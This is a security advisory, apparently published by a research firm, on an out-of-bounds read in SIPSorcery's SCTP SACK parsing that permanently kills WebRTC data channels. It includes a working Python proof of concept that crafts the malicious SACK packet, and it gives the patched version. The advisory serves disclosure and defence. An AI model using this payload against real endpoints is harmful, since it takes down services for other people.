high · 7.5Aug 12, 2026

SIPSorcery SCTP SACK Chunk Out-of-Bounds Read DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted WebRTC SCTP SACK packet with an inflated gap-ack-block count can force SIPSorcery to read past its receive buffer, crashing the SCTP thread and permanently killing all data channels.

PackageSIPSorcery
Ecosystemnuget
Affected<= 10.0.13
Fixed in10.0.14
SIPSorcery SCTP SACK Chunk Out-of-Bounds Read DoS

The problem

SctpSackChunk.ParseChunk reads numGapAckBlocks and numDuplicateTSNs (each a raw ushort, up to 65535) straight from the wire and loops that many times reading 4 bytes per iteration. There is no check that the counts fit inside the actual chunk or the receive buffer.

The SCTP receive loop in RTCSctpTransport reuses a 262144-byte buffer. A SACK chunk claiming 0xFFFF gap-ack blocks causes the loop to reach buffer[262144] on a zero-based array, throwing IndexOutOfRangeException. That exception is a SystemException, not ApplicationException, so the recoverable catch is skipped, the generic catch breaks the loop, the receive thread exits with no restart, and the entire SCTP association is permanently dead.

Proof of concept

A working proof-of-concept for this issue in SIPSorcery, with the exact payload below.

bash
# Minimal crafted SCTP packet (hex, sent post-DTLS over WebRTC data channel)
# 12-byte SCTP common header + 16-byte SACK chunk
# SCTP common header (12 bytes):
#   src_port=5000, dst_port=5000, vtag=<peer_vtag>
# SACK chunk (type=0x03, flags=0x00, length=16):
#   cumulative_tsn_ack=0, adv_recv_window=65536
#   num_gap_ack_blocks=0xFFFF, num_dup_tsns=0x0000
# CRC32C over full packet (attacker-computable, replaces last 4 bytes of header)

# Trigger condition (math):
#   first_read_offset = startPosn(16) + fixed_params(12) = 28
#   at iteration 65529: reportPosn = 28 + 65529*4 = 262144
#   buffer valid indices: 0..262143  =>  buffer[262144] = IndexOutOfRangeException

python3 << 'EOF'
import struct, socket

def crc32c(data):
    # Standard CRC32C (Castagnoli) -- use crcmod or equivalent
    import crcmod
    fn = crcmod.predefined.mkCrcFun('crc-32c')
    return fn(data)

src_port   = 5000
dst_port   = 5000
vtag       = 0xDEADBEEF  # replace with negotiated peer verification tag

# Build SACK chunk: type=3, flags=0, length=16
# cumTSNAck=0, advRecvWindow=65536
# numGapAckBlocks=0xFFFF, numDupTSNs=0x0000
sack = struct.pack('!BBHIIHH',
    0x03, 0x00, 16,   # type, flags, length
    0,               # cumulative TSN ack
    65536,           # advertised recv window
    0xFFFF,          # numGapAckBlocks  <-- the evil field
    0x0000           # numDupTSNs
)

# SCTP common header with checksum placeholder = 0
hdr = struct.pack('!HHI', src_port, dst_port, vtag) + b'\x00\x00\x00\x00'
pkt = hdr + sack

# Compute and insert CRC32C
checksum = crc32c(pkt)
pkt = hdr[:8] + struct.pack('!I', checksum) + sack

print(pkt.hex())
EOF

The root cause is CWE-125 (Out-of-bounds Read): SctpSackChunk.cs lines 141-142 parse numGapAckBlocks and numDuplicateTSNs from attacker-controlled bytes and use them as loop bounds with no comparison against the remaining chunk or buffer length. NetConvert.ParseUInt16/32 indexes buffer[posn] with no guard, so once posn exceeds 262143 the runtime throws IndexOutOfRangeException.

The crash is fatal because of the exception handler split in RTCSctpTransport.DoReceive: only ApplicationException continues the loop; all other exceptions break it. The receive thread, started once and never restarted, exits permanently (CWE-755).

The fix in commit a2466550 adds a bounds check in ParseChunk: it verifies that startPosn + FIXED_PARAMETERS_LENGTH + numGapAckBlocks*4 + numDuplicateTSNs*4 does not exceed the chunk boundary before entering either loop, making the inflated counts a parse error instead of a crash.

The fix

Upgrade nuget/SIPSorcery to 10.0.14 or later. The patch (commit a2466550bb2a28821c73fb1961bc33dcc467f8cf) adds a pre-loop bounds check in SctpSackChunk.ParseChunk that validates the claimed gap-ack-block and duplicate-TSN counts against the actual chunk length before any buffer indexing occurs.

Reported by zx (Jace).

References: [1][2][3]

Related research